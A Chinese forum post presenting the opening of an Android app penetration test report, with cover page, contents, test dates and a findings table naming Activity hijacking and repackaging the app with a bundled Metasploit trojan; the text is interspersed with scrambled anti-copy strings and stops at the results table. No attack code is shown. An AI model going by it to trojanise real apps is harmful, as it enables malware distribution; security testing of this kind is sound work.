找回密码
 立即注册
查看: 5060|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
. ?& M6 O! e& K7 C& ^5 H7 [& O% L 3 ~! a; T9 h* A

' I* k* e, I5 b( ~# C3 O ) W0 E9 X: d6 K- G. r
( B9 s: p1 M1 L( S) T8 |; i. g1 i 2 E: _! o' Q4 y# T% M5 K

4 y! s: ?! U! F1 q* W0 i5 B! b$ P5 u6 r$ T8 X: H, V
. z' H4 @; y. {& C, j ! ^% ^$ H! B3 {& H$ B

8 V6 g# [/ R/ g: o: q( y# a- b : o& L% N6 E" s* l 文档编号:                ( g& M7 `; {+ n; l : `+ x% v# p# e& j/ }

9 s/ ]; q* b6 T# n2 g2 J! V9 l 1 a4 U: [6 `% w! ?. e' L$ S/ @

/ P' D) F# t% P + n0 J/ d# q. E0 B   * ?6 Z# A3 ?2 b* t: E, ~- y3 o. I% l. m8 y) ^8 Y1 b9 T5 C7 v2 f8 G

1 G( _( Z- b8 ~# s+ `8 M ' [5 ? k3 @: N. P5 @' `

: Y; T- D, `; p& ^) v - |2 O2 @8 L; ~9 ?5 s) p- f/ c" G   ' ^2 O) Y5 k6 S) t& g0 ` 5 X% {1 R- i) L. F

" o( K- J; p- h0 M! o B& U- A0 A! {" M- ]' `( O

6 N; \9 D1 J2 m3 r2 `4 P e) c* G& B/ g' s7 w/ v   9 m" R0 s- R9 q! C1 p. O ! ^) a7 f1 \) B4 O% V3 r) |* Y

+ n# q1 }+ R0 B1 `, ?" }" g5 Q/ x$ a* y" ^$ v: j2 D8 c4 N

2 P# R. e9 r! V& V: C - A: Z2 s' T9 I5 S6 j, T7 |+ R; F' B. a   1 q$ G9 B @9 e7 f- V & D I) n6 J) F# z1 n

4 f2 y: D; x8 t6 _, f 2 m- w, _! v6 Z2 x% l$ C

e, ^2 @2 q& R+ i7 G9 n 3 }' M6 h* M6 r6 ~0 y }   9 F9 s9 P3 |0 O 5 P8 Y# n: [: Z# S7 |4 P( L

6 s2 A, {# h. p 7 |5 g# }$ R$ Y2 ?

# ^6 j1 g7 O( z, Z. D0 x, ?0 F4 d7 A: |( b* O 某某某APP渗透测试 6 G/ j1 I% ]- ~8 k g( N0 d _/ w2 e: `5 L# ]2 l

$ | A3 D3 ^; n 0 d. x5 k2 { X# p" s

$ r) H, }" h/ t. z" {( A1 {7 Y h/ M7 { h9 y6 E4 k9 X L   + e8 f& S: j" ]1 O; v0 F/ E' h" k' I

& Y& ^6 O" W; C' g4 A; e- a 4 `& {& i$ x4 B* [/ I4 j

- O4 }+ j& Y6 w7 |2 B- U w! M7 d) w) s7 V   `" p9 {2 G5 J. ^& Q # F( J2 |0 {) L0 O

+ @3 Z z, r% v ?5 ` + Z( D1 ?% ]; S1 F

O8 y" u4 g" T0 ~/ M - g' V' t1 g' D- ] x# n/ v; E   4 P# A8 `) D! J) \ b* d+ Y( R1 ^& i9 c- b) x

1 p L/ g& ~" [4 e; Z" G* f0 \* E8 I

k- c7 f' d1 J, y9 J8 I0 r- R; W' ]' I: K$ p" O& _   2 @, O6 X7 }9 s9 c$ g & m# O8 S* t% u# z6 K9 U/ |

. V3 w+ _0 P8 Q( N0 @ ) W( P# H4 `- L4 i3 k" b

" o# h" A p E: \ ( O; p6 H7 ` i! H 技 术 报 告 . Z. K6 c' V) v# p $ ^+ H* I& e) U2 D2 G( o5 K8 V

, |6 } g0 o* F* E) v0 c) ]8 F ) J& y" f: |4 A2 q( ]/ d. r" U

1 F8 n4 r# {% y/ Z8 Z1 d ; q& B- K8 F5 c9 D6 O F$ J; Y   * E1 x! G# a" p " u. F7 A* I2 [/ y5 h3 I. l# C6 u* Z

4 ~: {; Y& i0 ?7 N7 D 4 K; U; K9 ~9 J# ]

3 @& V$ J2 V. S3 E8 m4 F1 H 8 @* K6 m& e2 d- G. |- Q   ; G) _! V# P8 m& ? L$ q. b * ]' A) T' F. t

! `& L5 l K" J% V( e1 J6 R # v) ] L- Z8 T! B; ^) J

; K: N0 F7 U4 _7 g2 ^! U1 m 8 ?. @1 `' u3 e/ o   " G' A$ e* `/ B8 t) U6 f! F" j8 |6 J( Q5 M5 E# z' s# N, x

5 o8 z: c3 e4 K1 L9 E ( u# j: R5 G) i4 V! o) D

) w9 @* v' g/ N% x - M$ ^+ O# v7 U   : H& H# I3 N" W5 C9 Y1 o. d; `) v: {9 e$ W

. ] ~2 {* U% o9 ~5 U3 o 8 d0 Z$ b' c3 o [ h' w1 q, {

+ C! }# d2 _4 ^ r p4 L# V4 a# {& u   : p4 T( j* ^* X. s# k 2 h/ c. f! c+ m" n+ d' }

F: L" i- L" Z3 q+ S% S/ t: d: }# X3 ~0 Y

1 s1 n( {- _4 F8 D- s* @ 2 F+ M* L- `) l$ b$ @   ) _: u* Y: H) D % g; F V: f: ~5 t' U- S

# w0 a. ?* r: M 4 m& e# p: {3 d) V1 L0 n

' u; q+ y1 f0 X, @9 D/ N* s7 M8 r5 ~+ {   - B* e* K7 @6 _7 v2 ?' a) X $ j' P _9 D) e, V8 d& N

- P" l0 t& u( S3 P3 }* R a' G 4 j- ~& L5 v* D1 b

4 Y1 o8 E$ f1 o; A. X' ` $ Q; S) j; I7 D$ @; G; I9 C1 R   * L! L% o0 x/ U+ a% n) v " x# {2 u5 @' X2 e/ o) Z( |

1 R. [3 E1 Y' Y/ }$ r, ] ) z0 M( P. k; f* E

1 Z+ \' y ^0 k' U8 k5 W; u( K3 Z3 S+ Q9 r& H   z, z2 c: U1 _1 W' b+ s O& W: j& T" |1 d

' s& g$ t# Q& G6 V 8 ~7 m, A( \$ k' y/ O" O

/ ]0 P: u0 ?; D( Y5 ]) i; p ; [9 K8 B$ s4 V) ^   + ~3 M9 m& N1 u( }) X& i1 s- e' { , ^3 g+ i2 [% s* P) n

; P+ p) @' e; q* C 8 h- R4 H/ Y- `; k! P: I

4 h, _ g9 m/ @0 k- Q4 y6 e # \& D* B0 t$ C: ~0 l, y& i. C0 B6 `   + c: s k! i d0 ? * v( z2 m. c1 d* \

0 n# b3 g* Q# i# N: ]8 @7 e( D0 @( N7 Y N m6 w

) s0 d2 W+ s. u3 ?5 P " F- E1 v0 W _* e8 F/ W   9 _0 `8 P5 y, w# V) f + m# _# s% Q' H# b3 }2 k. e# g& k

& Q. g' S) |; L' v ( W/ S3 U9 |- E( _

' O( D+ r. S) M& n 7 g2 k q7 ^; W5 X8 v: R }   - G" {' J4 X$ c9 d8 j& S* @ , Z9 R; Y9 d4 }$ r6 e5 [: w) `. G V: E

4 A% P/ u; q! G* t% k0 K: g+ @/ Y2 A# r: D# y+ {

* E( Y3 s. _ i1 B0 P3 k, n( l- ? ' Z# ~9 b, l$ C) G   0 Q; U3 e4 k" { U 9 v4 F Z$ `! e

5 Y; G2 i7 J3 `6 N# f % x& S y4 P9 s- N9 a( ?

+ y% q3 M! _, l: ] . o0 L6 \& K4 g4 V9 P   ) t& y! _; s" n& R8 R) g 7 {2 f+ H9 e" u8 }+ u( f

4 T, w+ @0 y3 o! p. {. O ) Q1 ~8 D" D2 ]1 m* c

# b0 V, o; y7 B+ M/ A" k' s & h1 c7 p: [9 ]   4 q; \5 D t( r8 W' G8 L# j 3 e$ V( s9 H8 t- Z- s0 }, s

5 ~8 `6 q" T9 A1 | 1 a3 G- A; v: K" _$ g* ^

, `7 N1 V& t; K5 _ ]& \+ d 3 I% Q* B9 U" r6 I# p- C   ( a) P. p0 {! ?6 r L. \ h, p6 r # ?7 [8 \1 b; G9 ~% [* T! ^

) C2 C; E5 ?5 E# {4 D ) v' u% b2 }9 M/ \5 H8 M8 R% u

- O$ }9 }& l' P4 M. M " O& F1 F/ w1 @( D   * I; |+ w2 Y9 e% O% m 8 t# X' y0 u, E' j; s8 W# |# o

# b# Q. y3 d/ m7 b, n5 N B3 S$ S* I8 } k9 s1 N

" R) N9 _2 B. @/ o3 l Y 4 ?+ S2 r; Q3 _+ I( c' Z+ n) Q 二〇二〇年 : @$ G+ q m" y8 d( E ) N- H! {9 t# C+ o. J$ G: k$ m

4 C5 [3 R9 n( R2 j! Q5 ]1 a1 s& R, C7 a$ c9 _6 i1 [
- d' u- ^( `8 U% @ + v/ C* x/ Y8 {! M3 p2 e
- i9 k- Z3 e& {& z# h! @% P/ H0 v/ F& E3 {* `1 q$ N- k6 P
3 Z5 ?! g, F6 } b" I * v/ s! W& J5 c% o2 `
# ]& w' X7 C" F$ ]4 O- F# F7 [6 w
( `7 d" s; l2 \% u% K+ s& X6 i 8 X& `5 |) z% G! q. h/ S9 o. L
9 T5 e3 n& F7 ?& E( K: d5 V1 S3 ~# H
8 X% E1 U1 n9 M1 V# Z) A! |' [2 i( z/ m8 `
- G) F1 d0 E' [9 H- K0 X, e. Z" j' T2 A- p0 i( ~

% {8 O4 ^( D8 I' G5 }: Y6 _" z2 B1 i( T; |1 y 目 录 6 f4 i3 o0 z/ L8 L- v+ p 5 a+ r% M$ u; |! Z/ L5 T

& b/ V) Y$ }! T" [8 e; | : V( _# c7 O) r* e# v9 _7 V : t9 |' K2 k$ ?; S2 c / u5 `" S: ]0 H2 I) e& {- u

' l0 \- P4 ~& ^; ] ( Q' o; R3 Y- y* r, S* h   + U- @# O, |+ \4 X! J, g% E , L* K# _* r n6 x

6 u3 i G3 u R$ t $ n9 W2 t+ }' u

8 c; f& P6 l9 r0 i, A$ d% l9 V ; j+ n1 c9 e3 T b- u 1 概述... 3 & M) c4 g% G; U% D0 m # w) ~( n. f5 @9 X

9 P7 @+ X g# ^; M+ s # i. F7 r3 U1 K5 A

% o1 t( ~9 S5 m8 e( j 2 {/ a; [2 ?8 i 1.2测试时间... 3 # G/ U2 O1 U% R) Z2 ?9 L : D: K r" C9 P+ ^6 B

0 G! ^' t( o( q" F7 ` . b' d% }6 u7 e" I+ {- s

+ A) I; S M. L( B + w6 L& w8 Z |, ?- d1 s 1.3测试对象... 3 , s1 y) P2 _- K D* N% {+ f8 ?2 P 7 }. L# z. W* t, p0 h) [" }- h

1 c) H$ s1 O4 b5 d; _- p: P # s7 s, I; u b8 Z* N$ H# D9 g

/ y1 q! @# |: k0 {9 ?- g* [3 e5 ~! R8 h5 ~6 B% m 1.4测试结果... 3 ( r6 n3 q4 n: F; C/ E6 y6 z1 L 5 R5 T- H( K; M# c+ {, u4 F( X

' T/ ^' \. d/ X & d' H n/ V) D1 g

/ H/ l3 [4 ]3 @- Q$ j7 L! | ) a5 t; o1 v, d9 K3 {9 S1 x; s 2 检测结果... 4 8 @" k. V, Y0 E& K w0 p" ? # ?; T. t2 g9 [% o* K

1 @; ^* H; N; I' T G: ? 9 n$ d! E- F7 [& k7 @0 A! U2 i5 c# h6 {

. v$ D* _- l, y+ Z) j# W 1 I; c5 @ [! g( H" G1 b 2.1 某某某... 4 6 a2 \& X7 [9 B7 k+ T0 c+ i 7 {9 I6 O; v8 ]- x" X

# C5 j2 p! U6 v$ a: Z + K" ~+ i# x4 S

; s7 t+ C R# f, r7 \- v ! w& Q4 }5 ]9 E) x. g 2.1.1检测目标... 4 ; v3 e' ^6 a# _/ J+ e# J* m4 M ; G3 y2 X0 P" R8 j* F

|0 c) c: _$ P% N " M% ~+ t3 h& Z8 U

+ v m$ Z% P; V) ^+ i# E. L& t" d, Y2 c 2.1.2检测结果... 4 2 b3 o' X: p' m" q7 L . @9 Q0 A2 W) a. Q

2 [ j8 ~& N: j% @. Q * m1 R3 }! u) V) P$ ?

# G8 ~2 q+ ~7 A+ L3 W$ }! O ( ^) E0 h5 O' h! s2 [, i 2.1.2.1. 4 0 D' J# \+ n6 p! g$ G 3 q7 H% o# k# Z1 ?! |

8 i4 B4 d. U* A( q: y 1 C1 v: q+ ] ]" k7 n5 `# g3 c. }

* Y( o0 ~ v e3 z 5 ~3 y; ~0 ?: O& ] 2.1.2.2. 6 # C! W* Y- t. o0 [% o : r; v+ _0 I4 \0 \1 A

3 w( X+ ?5 q/ M0 ?1 c8 m% V) u ( Z- v! ~3 i" \6 e: }. @

" }, l! o" x7 u- ^ # A' W$ G+ e& ?( ~4 p+ c 7 r4 W+ Z. E5 N( D7 N! @$ A( X . y/ v: R$ D) K5 y

- K3 |/ q# j& {+ e! m . p; |0 l O7 F8 p3 e# _
; g% \+ j, o% I! F : p- b" q. \! G2 W- ~
+ M: q0 G# R$ J" W- U4 B + @ K, p& d. b
. u% Q* {7 [) V- d# I( x - y6 K) v5 s& x% J+ \5 L
?5 F/ Q5 l+ h7 P8 I- H' X$ C8 x' ?, p3 i9 U0 X

, t4 A2 a9 x; {; ^ ; V' H1 \: ^1 _+ F0 B 1 概述 * r8 A% i9 G0 R 8 V- F( `0 |; g! k1 F: [' A$ d0 f! Z

6 T# [3 l1 X- B9 {$ Z4 l" m; | ! a- X e/ Q3 s! X, I3 @( q% K

4 |) H2 t* g2 X) f * Y- X9 |% p" x Z, ]& V7 |: G/ a 1.2测试时间 ! A! V$ O3 V3 ]7 j9 D 1 q, B5 o) W: X5 D

- S2 D5 F2 C8 y R5 _5 y8 `8 z) Z$ [5 p3 T6 f% x0 A) L) { " X* J2 O9 d1 L. K3 B! p7 @( f+ `% {( ]: \+ \/ }* e" f4 \3 n3 z/ X2 A9 a4 k/ X1 K6 j4 B% f+ U3 O- M8 u" |) B; s9 D/ Z i1 f! u) k9 F# B2 F: o; s1 {- D1 ~# `/ Z$ a! }7 m& {' d+ \' |1 s7 A4 {8 E. C" K% Q! s3 Y' n; X7 j8 v h) \5 W' ?. Y+ {# r4 R3 Z& {/ |7 e9 L% q6 O* F9 \' X, p5 |0 w! d) s u O' D/ }7 h" W* |1 k$ {8 K+ s- d" o6 A, t( a/ Y; r3 O* L5 @% S5 q/ y0 B. d3 t& N ~5 y i% L! C* P4 }- \/ G9 \& J% R [& G& `5 B* w( G. S1 g' h2 q6 R, L" ]0 ]. p0 N' j6 e( j3 h5 o7 k$ \7 w. U1 m- Y" [/ h% u Q6 t0 U. b; n1 f- L. B7 D8 ]( ^' h) M! W+ I$ {( |& L! K& V! X/ m# y- F. o$ c6 u9 I" N4 v1 s* W& P2 z- b$ a7 \* k* p$ V
( U, W0 e b7 A7 ]' k; ^ ) Y# D3 P8 v! ?5 {+ T

& m" _4 T0 W3 _$ Q0 v) k& U" b e- R7 S% W+ _; M% f" Q 渗透测试时间 , j& R c+ z6 j7 M6 D& v. e, ]8 } 6 x# J( @7 ~/ h& m) e; |0 R6 j

+ n- R& t. \3 ]( f; ]1 Y ; o. I$ w7 L! U- k$ Q
2 \. T) {3 \7 d+ p : p4 Z. {9 k+ @# w( j" J0 z

8 z0 A) m6 ]0 i . L$ {5 E. `6 h0 u* v' ] 起始时间 6 v4 L3 |' L. _# s- T( y5 v+ D0 r# @

; a2 M, L; ^' r ) F3 {& `# ?: ], }' S; r2 F+ A
& i/ R% E2 p6 l& m1 f) [ " X" O" ^1 k/ a

" B9 \9 [4 F$ J1 N. {( e 7 n: L. }2 d# q 202046 / x/ X: P. R( ?! x/ C/ | 5 r* k4 t! N0 c |! x4 H

5 Z3 o& _6 j2 }1 W3 R% G! ^ 2 o9 a; V9 a8 i0 N) ?5 i5 g, x: i
6 F, s' b$ R' ]( Q1 x 9 o2 J) l0 O6 `5 M" A) S

1 ~, r. o- j" E* \7 s- ~4 a , }' M9 N! q# ^* ] 结束时间 3 a* K5 U E7 r2 M1 ] F, W1 ` " }- B# P- j l9 m1 L/ m

2 E. V1 ]/ k# V5 X# k & e4 K, C% g# N' j! {4 F3 ^
( Q$ G0 Y. H. l6 |+ q$ |4 E8 o 1 u% Y& w3 v9 o9 l e: t! @

6 X6 c" q6 m* n; i! [4 w ( J$ z w" H5 R5 U" ~' _" G- _* K 202049 7 H6 G4 x8 `' H2 ?* O/ m% u. n. j9 |8 i8 I& J5 M3 \8 `6 s

5 s1 u& o7 c9 c' L 7 M9 ^% V2 d3 q" G A
, X5 \! G6 T C+ T4 c- P3 w% ~" C: V* Y g2 r

B1 A9 H' d: M0 s- Z, L# m7 S+ _# [1 X 1.3测试对象 4 r8 m9 L, M7 r8 V) p* j+ w9 O. K# C" _ Z. V: Q+ l

6 w6 c& @+ N2 m9 y/ l! v3 { 4 D n# b" z' v6 j; f5 Y5 y/ D6 i

9 s3 k' o+ l( C* H" `; j1 ]6 O b; k8 X" F$ }3 k3 h8 n 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: 3 X7 x' J! z g0 F2 X1 D) l1 j + O! r3 ~ K( L

1 h% h. }$ s8 S6 Z% M9 `4 }5 B ( M3 } p. \4 A- Z. p* p

7 p. J {' w' `/ } 5 ?3 I' H% h, q7 Z; L6 A: E) E 1-1 检测对象 # u3 Z) ^: p s: e; s" Y! G. _ ; ^* J0 n& ~1 _8 }4 C

; }( y- ] V; L, d $ L+ f: ^/ X4 p* G) E% j0 K: R - C% ~) A0 z: i) F8 k1 G/ t1 \4 p& p6 _' w; o r/ A* c( p2 B7 ^6 i; j6 ?" o% u! x+ j6 ~. Z, J2 W& L4 ?: y7 O7 D/ k: n: T! u: p/ p" K, Z" Y0 D& h& S* r! ~3 F+ k$ P8 D+ X" H7 ]( d& ^" ?7 R$ {7 i$ ?5 j9 |/ H1 W1 ]& \$ i D: |- ~/ [3 o. X! q j$ @# H& W V# X o- l. x N" l# {4 u3 G3 P! h Q# J: `* o, `; |+ s% ?: x3 N& V1 I7 K$ T9 r9 j* c2 N9 M7 H2 o7 }. q* }1 g: V. x9 Q: `. k" V) S& N/ L' t! c1 o* O' t! r# R$ ~" \; ?5 v9 B4 k4 t) h0 {: ]2 a1 I; f8 K) J( v; i) U/ \/ ~' |. V& n3 k( t* u/ b; r) A/ J0 l: A# E0 ?8 ?4 N- o4 c8 Z2 y- ~; Y: s0 S7 k* J4 T. M, P+ K1 F: g2 ~, Q3 ]$ v3 S; Y J5 A$ x2 J3 A$ T4 _- m |. q* P3 h1 z! h' }$ w+ e" r# E9 X4 e p* w. b" H9 V" w5 {! Z& ~+ |9 x# k& m% e, c+ P4 m0 b w! R% j, v
6 h P3 q8 F* j" f$ G* Z- k, c, H3 a3 x

# l Q) F: Y& I$ N0 v- f" J; M: w L7 {& V* a. [3 p7 \7 @& D 序号 8 K# g- {# Q5 x: u+ ~ ' |$ X: {5 ^9 y4 t+ D& B' H8 F9 Z

9 P6 C$ w# Z( B 3 w, V" t5 l9 h' J9 y7 a/ r
0 S' l: R( G( X+ B* m# R8 H1 r8 M6 c. Q! Z; @6 a* H% S0 y

3 n( D. i6 Q3 k6 Z- U* F) _' t& W 3 \$ w% a, M. h- E 测试对象 @8 N3 d6 T) e; u% H0 ?0 ^ X 4 ]3 W/ A8 P. b0 I7 j! @ k/ |: a

0 G# g3 o! g9 r/ h4 M* c; R) }8 O6 \' t8 g. A3 t5 P- n
$ Z( W+ f) r7 I3 @& S, D ! B* \, o9 |/ t. q& r$ `% `" t! q

' ]: w9 w# X% i1 K P, h 3 F/ S9 T* J1 ^1 Y 测试地址 2 d( o; J' c5 Z ( R" r9 `# ~: v- R

9 s# Q& T3 E9 x) m: X7 T ! d; @5 ~! h# k2 \" k+ f+ ~5 X
! ^& E0 a( O. X, Y 3 H2 |; o3 \$ @4 X# z

. w4 p0 a2 t; l5 B2 x ( t0 J) w6 Q# `5 d8 _# e; F; s5 ~8 a 安全漏洞 ) {$ Q2 a) q' R8 w* r0 H6 M' ]9 f 5 h G7 c) ~; a) n

# l5 _' @) S; s& K9 @# v' C' G9 }: K" Y
A4 u- X2 M3 D: z7 y7 {8 ? - I" k9 l: e( Z( o8 d1 V

3 b5 G' G& Y! }1 p$ B& N : A! O1 e8 n6 J- ^) p- [$ ~ 1 4 w" v+ A, }8 Z3 G, f7 E8 F+ f O4 z+ r/ H

; q" `+ h* C* A( i( n% J U5 d7 z + h+ ?& S# q6 H
' I' ?6 U$ N+ m8 M + [" a2 |/ f* V, f

# w) D, \8 P. E' \( H$ h c* m/ U1 q- ~ / ^" ^+ T0 f% N4 ]5 A& W 某某某安卓APP # {; e: \. Q x" C& V3 `! I $ E8 l) {, e: s- M. y) l

0 u' l4 O" S- H! _7 X& \* L* S: X& g * @+ c6 v t3 l; @4 r0 b4 w
- c* h! X* q0 e3 K . G. H% T( B. X: y' _* y6 [

# [' a# u& D3 V) G 8 ~- z$ D. m5 H! L   " W: P1 n' v+ [* z9 x. O4 f ! u, |6 m7 }9 k: T1 _, q B3 i

! M# @" o9 ~! Y9 u6 J2 e6 i. X * j a! v: a3 e. c2 [& N" z
6 |& j' s. s& q8 y* \! u . p: t2 r; _' ~1 p! H- s- E

: Z. F# Q$ F6 O6 ?* k$ h3 ^ " q1 `1 G0 Y0 A0 ^8 b- j 2 2 E4 k* T6 R O& V3 D1 o" h, t 2 @" q$ g5 t. e( x% o

" p G% n+ d1 s$ K% m3 W. D: F9 w4 O5 l* g# L+ B
; C1 r" m$ O. j% L3 ] 6 K( q1 p L0 A/ r

& ]" S1 ^1 j( g$ x( B% O& m- Y 1.4测试结果 / x0 {; C, N9 S6 R, [ * _, A# y" G0 J3 F

/ P) S8 f. E. | ) t J+ T. e- `* F+ D& e

/ `* a" t. H, |& l 2 A9 b7 D+ \3 N9 U2 B" q9 C1 E 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: # t+ h8 c/ L( \ ( q7 v& E+ x5 ^2 C- P

: N( j( k0 m. k8 c ! v8 y" R- T" y9 I4 Q4 Q1 H& H

" @# d5 a* G) N* V6 w3 l3 I: @9 g% h( W( r! A7 E   * X! S9 T3 c! I! Q& N0 S' q! f2 {8 H1 r; ~6 o2 }. |1 a

% Q3 v) m1 Q6 r$ f. ]4 d& E7 q2 @/ Y' F( c5 o0 E% C6 o
" p) H- X8 S" L& o 5 D& r- e7 o; k2 g, M& \ + c2 D# U. U9 n% g$ W7 a( P/ i% z$ o5 ?& U# k9 `: X/ P9 |, S/ W: S5 f T' Y" c- q) p8 L( G2 x4 ]2 S& K6 k0 S* p! ~' G7 [9 W* `5 B f+ ^2 o/ p9 @ U; R# G: m; w5 x1 X2 f5 W3 Y5 \* w% j3 `5 m7 ~$ { o: d. ^7 c' G5 u+ a% [. H" {* [9 E. n6 ]# N+ n& u: \" \" m/ T& h' q% k# |7 L& T7 P0 E: e, @ R% g5 L! c) f& c7 e! ^7 q$ A, }5 H' P: i: E' {# \% C6 j# x+ ^/ p# q9 x: p3 _) P# e- m5 t, s# G j9 K$ B- N2 ^: {" e) ?& |6 r$ t, t) \7 A. s0 ^# V# C4 R8 W8 w" w: p/ N& F8 x. M# k3 u* _* S3 d Z& U' {0 i, `8 B" S- n- j0 n; j/ n7 U0 F) w2 v- d% m/ m9 o6 E& {# r0 ^' Q, b2 |9 X/ N" d' ]& I+ V, c; E8 v+ M9 q' ^+ \% s& T4 R# Q, W3 k3 D9 P" H6 A7 F1 o0 t9 |% h$ ?. N& v+ k. s- N9 M K0 `7 I6 @" J# ^' U8 p+ U- v; N \, ~5 A0 F- R3 f, p8 I6 Q9 O( w, ?0 K% O3 n, ^2 d+ q9 [/ w) v! e7 y0 Z: ^/ c' j' }( a$ T& b- m% j. i" i6 X/ R; Y$ M4 G \- ^! ~& m# s* _3 w" m" A' Q& L3 r4 i, Z$ D" \, p- Y5 z' S( R+ R6 |" Z+ y4 g# W, p& W" i, N# }- g) D9 e+ a/ m2 W/ m- \$ H9 X0 Y0 L7 G) B& L4 l3 ^; x: T! o( K; p0 X5 M7 K1 Y! [% a5 `2 Y# ]) d+ a' n* d3 [% h3 t4 R) ]) w8 y0 c) ~% x+ O4 s/ I7 v: ]4 u8 K# S. P' r$ |/ N7 k( z" r; L# K& K' k/ a2 N* _& T1 u- F3 t0 z. B$ B; [3 V2 b O) m- n2 D Y4 p; X8 w& k
5 Q5 \9 I' T) _( V) Z5 ]( U |* `: A" H

& o& y' ?* k# l 3 m5 G% T4 X( C. ^$ |0 G 序号 2 \+ C( u: O. `2 S4 [ g. @ {4 p. @

0 l: _9 f+ M y; G ) D; ~) ]5 b/ i# Q) _$ O
& n2 E2 s1 Y- g( H 1 s3 r" _# V& l. e4 O2 ~2 ^

: x, R9 F2 Q7 b8 _$ N & z& g9 C; P7 V" _! Y; l6 l 系统名称 ; _( @0 z, W2 O8 p 0 T1 F( b! z5 z) f ~

5 [: \1 z! S8 }# [& r- X 3 w0 b. _' X1 b, m
1 O6 W7 p3 ?8 d9 E( r 9 i9 y4 a: r0 D9 S% D: E# L) D

) p. z* i+ ~" }1 _: m & Z, d* k3 ?( a' [ 漏洞名称 6 m$ \% l& N: H& B& r3 N: e7 I2 Q0 f( g$ Y4 v

* @! V0 O3 d, g- t) o. x/ `, H# O; R2 f8 C% d' }' t6 p9 T) T
9 N D% I0 \- p 2 @$ p# c) S; Q+ q) [! e

' L. w. f: ?1 C3 n# k" A" x/ r9 U( d2 n3 B 漏洞危害 1 j. T# E n" ^. t " S! T- e" }& X( r4 V/ u( e9 g! c

% |% N! r: b, p* ~ $ S4 \! z9 o9 c- [: d: x
0 W1 q' w/ j- _& J) \9 E 3 H0 N$ `2 x b& v: A+ S0 G1 j

2 y! w3 g- [! c3 E: c % c4 f/ d4 U1 H! m; Y# S 修复结果 ' z7 q) @5 \8 g+ R$ w; i8 u 1 E4 s5 P* q) z; n

% Z! L# E2 ]0 l 1 V5 C) ^( ^. I2 ?7 t
! ^+ A* f* N& x* i6 u: V+ U1 y' f3 }/ z5 ?5 }

& m. Y8 K* |$ ~2 ^/ F/ }. \0 y# T% S 1 ! P- z2 y! c: H( J7 n# V* I4 }7 q$ s$ Y7 Q- @. W; y) e

* a; A1 _$ g- q8 M ! |# v9 w/ }, u5 v0 c3 T8 h* v
3 Y# y& o4 c8 R! @ % k& o& c# v2 s0 D$ q8 b

; \: C: `7 l1 N6 T$ \- c 1 v2 m, E7 w/ J8 d7 S2 j4 ? 某某某某某某APP ' ?, b2 t' [" @' t; M4 T 2 g$ H. b; l) n5 f

. K; F$ y& ?: `; Y8 H$ T- I6 o% V $ H+ \8 e6 }6 N# ~7 k8 M+ d/ S: p
4 S, j0 ]2 @* T; c, d' `' n / G7 b/ F: v6 b, }! Z5 | H) }

+ _; o% }( q6 U + s& F. M) |, J5 c- ] Activity 劫持 8 h2 [2 n: R' m 1 Z1 D" O9 R ` k# p

2 i9 M# S2 b5 w% x" Q" S* i) I; K( z

& @% F: K R0 A# _ E / \6 B* x( y+ z2 h# ^   - w G+ y7 R/ V/ M , R& Z: j* o3 c2 ^. G5 L, c# G

/ w; M+ C; |+ N0 a# o! ] w! F$ v+ P; j4 g
0 P: I! H9 X* f { q. s3 |5 E. Y( N' J5 m5 e, z

5 ?. k6 \' b2 D6 P9 {4 ~( b) e& A7 D; a& l1 _4 } 8 I3 V3 T5 L' O9 ?; R/ m! q3 J5 |. t4 k6 Z0 ~% y

1 ]6 e. C, |# \+ d3 `1 _+ T. S5 t" g3 s; L5 T
2 Z b% ^, [0 T, j6 ~% B& w+ r $ J A r5 f8 g! k: J6 u/ X

" P) ?5 H; E$ T- X, D $ g9 y6 N" \: ]# J4 \9 q5 M   # k9 ? m7 Z8 ?1 d; N - O4 X1 c; K5 ^* M4 Q

+ n: [" ^; K8 H) r6 u5 K' B : _7 t6 v- B0 O) ^) J7 O5 C, V
' o& C( K4 z& f C( e/ x( x# W/ p/ a; Y. p

. F0 U* ^5 U1 e/ y+ L . c( ]' C9 }/ {( u, g7 X 2 2 W: a! K- J6 g9 P- E , X- R; [8 [; f- }. `5 }

. Z- Z0 Y" K1 D/ _5 I/ ^ 1 b. f/ w% ]2 z( @9 a" m2 y/ e
9 Z# R) g! N# d0 }& A" O ) Y- b/ A b' D- m. J C- V1 c p

, Z% w$ I/ i/ M. `( H0 ^$ q0 f 1 j1 P: r- q1 j6 f 某某某某某某APP ! \" n! [6 B6 i; g% u $ [# }( ^* [ Q7 j" {

; W: V0 A! [, I& D( b3 | ) a6 V0 v$ m8 v9 `
3 Q2 i+ z* w2 B ]9 h& S, K# f! i8 p/ `

0 R, D9 Y& ~8 o9 \& T 6 h: ^( M* f, l9 m1 u, k 反编译二次打包捆绑木马、篡改APP代码 4 i' x6 R: A7 H2 j2 @: g! c . D& T/ S$ b' \1 D5 y/ ^! C: |) t& {- m( S

+ i: B, O! |( N& S5 Z e 2 o/ U* P" {9 p: c; K+ D
6 p7 F- l' Q' T3 g/ {' d 7 Z( b6 g/ X! K& H; F9 X5 T' r$ R

% |8 i) p! H8 R * t6 x' |, d$ ~! _( ~! [ 0 P- A( n8 k7 S6 `) t ) j# H. U: |1 E0 k

% @0 ?! U' i& W. V' } 2 m, G9 m; n7 R% w. L7 i- R$ y
7 r& ^5 M. n4 ^$ G* U& v, r) x- g6 a- M

: l, _/ @- \2 G* J; A7 W/ \) \ ' ~ P$ d9 J" Y8 r' u$ l   2 {. I/ S% S3 q& u3 U" M$ o; S 5 ~' u& Z5 f$ _3 f- W9 o/ w

+ e2 w e( [5 N/ G/ R& ^3 k5 P " A/ B& }$ T) z- N+ M
. V! h% W% a6 m+ g. Z . f; S+ ?. v9 I
4 V, `7 U; o, U. F8 n2 d: u ' X4 }& n+ f; b* V) u/ I

* b2 a v% m, H' v6 N ! |2 a ~0 G/ N4 H   " L& c; k) C* ^5 v9 i D0 m5 Z: G- p" k/ `

8 M4 o7 ~1 b. b2 h 4 g( k; |. _3 |; A8 N! N) c

% E0 v7 }7 B+ ?, K' S- [* V/ h% ^3 r: ~3 | 1-2 测试结果 # s+ e9 s9 g( T/ Y. C/ l+ m+ a1 B3 o

